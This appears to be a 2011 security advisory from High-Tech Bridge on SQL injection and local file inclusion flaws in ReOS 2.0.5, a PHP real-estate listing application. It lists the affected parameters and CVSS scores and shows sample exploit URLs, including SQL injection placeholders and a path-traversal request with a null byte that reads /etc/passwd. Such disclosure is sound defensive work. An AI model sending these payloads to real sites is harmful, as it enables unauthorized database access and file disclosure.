Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in ReOS

Advisory ID:HTB22806
Product:ReOS
Vendor:IT ELAZOS S.L.
Vulnerable Versions:2.0.5 and probably prior
Tested Version:2.0.5
Advisory Publication:January 20, 2011 [without technical details]
Vendor Notification:January 20, 2011
Public Disclosure:February 3, 2011
Vulnerability Type:SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
Risk Level:High
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ReOS which could be exploited to perform SQL injection attacks and compromise vulnerable system.

1) SQL injection vulnerabilities in ReOS
1.1 The vulnerability exists due to input sanitation errors in the "form1_txt_email1" and "form1_ref_immo" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
tp://[host]/index.php?form1_txt_email1=123'SQL_CODE_HERE&form1_data=pg%3Drem ember%2Cnm%3DLost+your +Password%3F&form1_phpform_sent=1
http://[host]/index.php?form1_ref_immo=1' SQL_CODE_HERE&form1_order_by=precio&form1_tp_propiedad=&for m1_in_order=ASC&form1_tp_servicio=&form1_txt_poblacion=&form1_txt_zona=&form 1_precio_min=&form1_prec io_max=&form1_data=pg%3Dverimmo%2Cnm%3DSearch+Results%2Cshow%3D0%2Cfrom%3D0& form1_phpform_sent=1

1.2 The vulnerability exists due to input sanitation errors in the "form1_tp_state" and "form1_keyword" parameters in members.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
http://[host]/members.php?form1_tp_state=%27SQL_CODE_HERE&form1_tp_servicio= &form1_tp_propiedad=&for m1_order_by=precio&form1_data=pg%3Dmy_immos%2Cnm%3DMy+Properties%2Cfrom%3D0& form1_phpform_sent=1
http://[host]/members.php?form1_keyword=%27SQL_CODE_HE RE&form1_data=pg%3Dverpobs%2Cfrom%3D0%2Cnm%3DA ctive+Cities%2Cid_account%3D3&form1_phpform_sent=1


2) Local file inclusion vulnerability in ReOS
The vulnerability exists due to input sanitation error in the "lang" parameter in jobs.php. A remote attacker can include and execute arbitrary files on the target system using directory traversal sequences with NULL byte.
Exploitation example:
http://[host]/jobs.php?lang=/../../../../../../../../etc/passwd%00

How to Detect SQL Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22806 - https://www.immuniweb.com/advisory/HTB22806 - Multiple Vulnerabilities in ReOS
[2] ReOS - reos.elazos.com - ReOS is an open source web based real estate listing management application.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential